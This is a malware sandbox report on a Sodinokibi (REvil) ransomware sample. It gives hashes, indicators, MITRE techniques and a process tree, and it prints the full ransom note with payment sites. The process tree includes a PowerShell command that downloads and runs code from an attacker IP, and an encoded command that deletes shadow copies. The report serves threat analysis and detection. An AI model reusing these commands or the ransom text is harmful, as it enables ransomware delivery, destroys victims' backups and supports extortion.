sodinokibi | 5edd7915fd9b57f2643fe8abf646344fccd2efc98d4dcbeab47659b14f59feb4

General

Target

16158bc1db4ba8fb8e9a13c34c8a51e1.bat
Size

216B
MD5

bf75953509fd375616976c6eb6f30aff
SHA1

3bf54cce4abd3c3434b7073e4ebe0f480295923c
SHA256

5edd7915fd9b57f2643fe8abf646344fccd2efc98d4dcbeab47659b14f59feb4
SHA512

8362b4f7c808e754bb468b31140b3ec023527e468ec8a9171111f77e39c55a8b04cc3442bc4c334a3cce25e90b9ce5cd14842d7cbd66fef8d6051d02f8e953f9

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/16158bc1db4ba8fb8e9a13c34c8a51e1

Extracted

Path

C:\atug0vw6-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension atug0vw6. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). We have copied financial files and other important information about personal data, it will be published on the Internet or will be used against you if you do not pay us, so if you do not want such consequences as customer churn, media coverage, fines like GDRP and other damages, we recommend you to contact us and pay the ransom. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F3E42D37D77A1BEC 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/F3E42D37D77A1BEC Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: Ay44zmn3Lp8oRsb1GeHshjLhLBCgv7RglcwrkGkHe/S1MLhiP2ohFt9FDdjg2PAW oYC8mKdMW6ukpkWYWZVQmz9NteHwYdyD40K/sYJLEvqj4f4uO5dPWEmOimZUebkS DfUrmjMAQTnU1FDYngN5hQTDYq2Z6fV1KtDhbowa3j+7OXkQHdEyZIi2PZxcHUhV ItGCdWYmt6J97ui3vvhOE+3vWFVpAcEjHuQHq2HoDGnpxkHt+KrHAPfTxRAUga8G MmLLylgEyM0OIHw54MSzSNmom7WMLx1EtC7KorghYSyC1uiSxQ+ug9gX9GgkUVdu hpfRurc7+DtZhfS/QfM/0Q311utoLB491YU0FXw0xhu7lra+I132euJJ+ogsUN+8 ghJhs2d2pWJm4tK7NV28b8ZESD2q5KxlkOEaoeTzSS5ojJsQAyAc/GMI78SQSH7F St3a0oR/r5F1K/vm3ESvfFGsRYQDzepd0Y93J9I/Tys/Gfzbz8ex4WVEUm060YcZ fQI9AEmtKxx1NWSc2kFd9ietBNMRFfE245IbBpYJwgdmIByGDzwjS4FENH4BLieB dmQRiLBiT1A5mTjyfC4Ld6jiEdgv9JzxW58YBylF44Wa6MDwq21swkobUihQbBVC aORE1M7HAsupO+0I7R4xs71g1BcEjvwnp07VbFry/JEkvYJ92YRhSgHSZJywmmhw s8Tss2cHiv1aZPByBH6ukaVCJ1D4MXxhSLvRVo1zEAaqNwFsG9HxoRefGqwKDOq0 x7g89N2HSPpb46QObeP3bKiK2bfSM5psxnyVhN1NAFcbLGV9mCL2tiLrcBR+v0uQ GswoLZPnaDntpbkDoHuwaY9xsUYDOUq7crwnpAMEklPIJQaka5PGIljAZqxpDfLq YhsJ3Yp7Vf1uw/YrndR/8bK3GidBwAq4fH4quNfnlgVNdNWnE8vUenCEqBS6fBqW tnYdu5afdmI2enTcW2e1LtJP1mCWcTueWsw648HvUx1+1YQ9+cEE/a7jNVNCh9q5 nCgtgVtyUawzwljWCKQ0IMgpzSdc9aawdxNgzbrJjtZMkyJdSuqm0opCH2qw0dWZ UxZCCIlyXJ6vwBuCaSTu3AUpGK76EoCOKvmjA/Xonsb+SxcFoELvndy5b5BRQubt MQ3C541TQirVWGDt00iBKskw2SyPMItphfI0rpdYFnM0fU6R4G+t2s9ZWmKaWoWV fcwsVWPC+FwGQTq/MQGQzdrb+VRyGIL+D6MPf6/fHXlwDzEutowlU8GPp9ffcPEH HYjlxA/TJmUHtoiyXO19R5k/pKAYLoP5TFpeXlx8eGQJQNrS ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F3E42D37D77A1BEC

http://decryptor.cc/F3E42D37D77A1BEC

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 864 powershell.exe

flow	pid	process
3	864	powershell.exe

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\SubmitDisconnect.raw => \??\c:\users\admin\pictures\SubmitDisconnect.raw.atug0vw6	powershell.exe
File renamed	C:\Users\Admin\Pictures\WriteUnblock.crw => \??\c:\users\admin\pictures\WriteUnblock.crw.atug0vw6	powershell.exe
File renamed	C:\Users\Admin\Pictures\WriteUninstall.crw => \??\c:\users\admin\pictures\WriteUninstall.crw.atug0vw6	powershell.exe
File renamed	C:\Users\Admin\Pictures\ImportRead.raw => \??\c:\users\admin\pictures\ImportRead.raw.atug0vw6	powershell.exe
File renamed	C:\Users\Admin\Pictures\JoinConnect.tif => \??\c:\users\admin\pictures\JoinConnect.tif.atug0vw6	powershell.exe
File renamed	C:\Users\Admin\Pictures\MountRename.tif => \??\c:\users\admin\pictures\MountRename.tif.atug0vw6	powershell.exe
File renamed	C:\Users\Admin\Pictures\RestoreSubmit.crw => \??\c:\users\admin\pictures\RestoreSubmit.crw.atug0vw6	powershell.exe
File renamed	C:\Users\Admin\Pictures\RestartConvert.tif => \??\c:\users\admin\pictures\RestartConvert.tif.atug0vw6	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\mb589r.bmp"	powershell.exe

Drops file in Program Files directory 29 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\AssertClose.docx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\atug0vw6-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\UndoAdd.xlsx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\atug0vw6-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\BackupGroup.htm	powershell.exe
File opened for modification	\??\c:\program files\ImportTrace.vssx	powershell.exe
File opened for modification	\??\c:\program files\ConvertHide.sql	powershell.exe
File opened for modification	\??\c:\program files\PublishResolve.wm	powershell.exe
File opened for modification	\??\c:\program files\RepairPop.vsdx	powershell.exe
File opened for modification	\??\c:\program files\TraceConfirm.vdx	powershell.exe
File opened for modification	\??\c:\program files\UnregisterUnlock.potm	powershell.exe
File opened for modification	\??\c:\program files\SelectMount.edrwx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\atug0vw6-readme.txt	powershell.exe
File created	\??\c:\program files\atug0vw6-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\LockDeny.crw	powershell.exe
File opened for modification	\??\c:\program files\StepJoin.dib	powershell.exe
File opened for modification	\??\c:\program files\DisconnectPush.snd	powershell.exe
File opened for modification	\??\c:\program files\ProtectConfirm.dxf	powershell.exe
File opened for modification	\??\c:\program files\SkipUnpublish.M2V	powershell.exe
File opened for modification	\??\c:\program files\WaitRevoke.txt	powershell.exe
File opened for modification	\??\c:\program files\WatchRevoke.mpeg	powershell.exe
File opened for modification	\??\c:\program files\InstallMeasure.vssm	powershell.exe
File created	\??\c:\program files (x86)\atug0vw6-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CopyConvertTo.avi	powershell.exe
File opened for modification	\??\c:\program files\ExportPublish.docm	powershell.exe
File opened for modification	\??\c:\program files\GetMerge.tif	powershell.exe
File opened for modification	\??\c:\program files\GroupClear.crw	powershell.exe
File opened for modification	\??\c:\program files\LimitShow.vdx	powershell.exe
File opened for modification	\??\c:\program files\UninstallLimit.emz	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

864 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

864 powershell.exe
864 powershell.exe
864 powershell.exe
1492 powershell.exe
1492 powershell.exe

pid	process
864	powershell.exe

pid	process
864	powershell.exe
864	powershell.exe
864	powershell.exe
1492	powershell.exe
1492	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeBackupPrivilege	1568	vssvc.exe
Token: SeRestorePrivilege	1568	vssvc.exe
Token: SeAuditPrivilege	1568	vssvc.exe
Token: SeTakeOwnershipPrivilege	864	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1104 wrote to memory of 864	1104	cmd.exe	powershell.exe
PID 1104 wrote to memory of 864	1104	cmd.exe	powershell.exe
PID 1104 wrote to memory of 864	1104	cmd.exe	powershell.exe
PID 1104 wrote to memory of 864	1104	cmd.exe	powershell.exe
PID 864 wrote to memory of 1492	864	powershell.exe	powershell.exe
PID 864 wrote to memory of 1492	864	powershell.exe	powershell.exe
PID 864 wrote to memory of 1492	864	powershell.exe	powershell.exe
PID 864 wrote to memory of 1492	864	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\16158bc1db4ba8fb8e9a13c34c8a51e1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/16158bc1db4ba8fb8e9a13c34c8a51e1');Invoke-ZOPUSYDNI;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1568

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
memory/864-5-0x00000000052C0000-0x00000000052C1000-memory.dmp

Filesize
4KB

Download
memory/864-21-0x0000000006290000-0x0000000006291000-memory.dmp

Filesize
4KB

Download
memory/864-22-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/864-14-0x0000000006150000-0x0000000006151000-memory.dmp

Filesize
4KB

Download
memory/864-13-0x0000000006080000-0x0000000006081000-memory.dmp

Filesize
4KB

Download
memory/864-8-0x0000000006040000-0x0000000006041000-memory.dmp

Filesize
4KB

Download
memory/864-0-0x0000000000000000-mapping.dmp

Download
memory/864-4-0x0000000002600000-0x0000000002601000-memory.dmp

Filesize
4KB

Download
memory/864-3-0x0000000004700000-0x0000000004701000-memory.dmp

Filesize
4KB

Download
memory/864-2-0x00000000024E0000-0x00000000024E1000-memory.dmp

Filesize
4KB

Download
memory/864-1-0x0000000073FC0000-0x00000000746AE000-memory.dmp

Filesize
6.9MB

Download
memory/1492-23-0x0000000000000000-mapping.dmp

Download
memory/1492-25-0x0000000073FC0000-0x00000000746AE000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads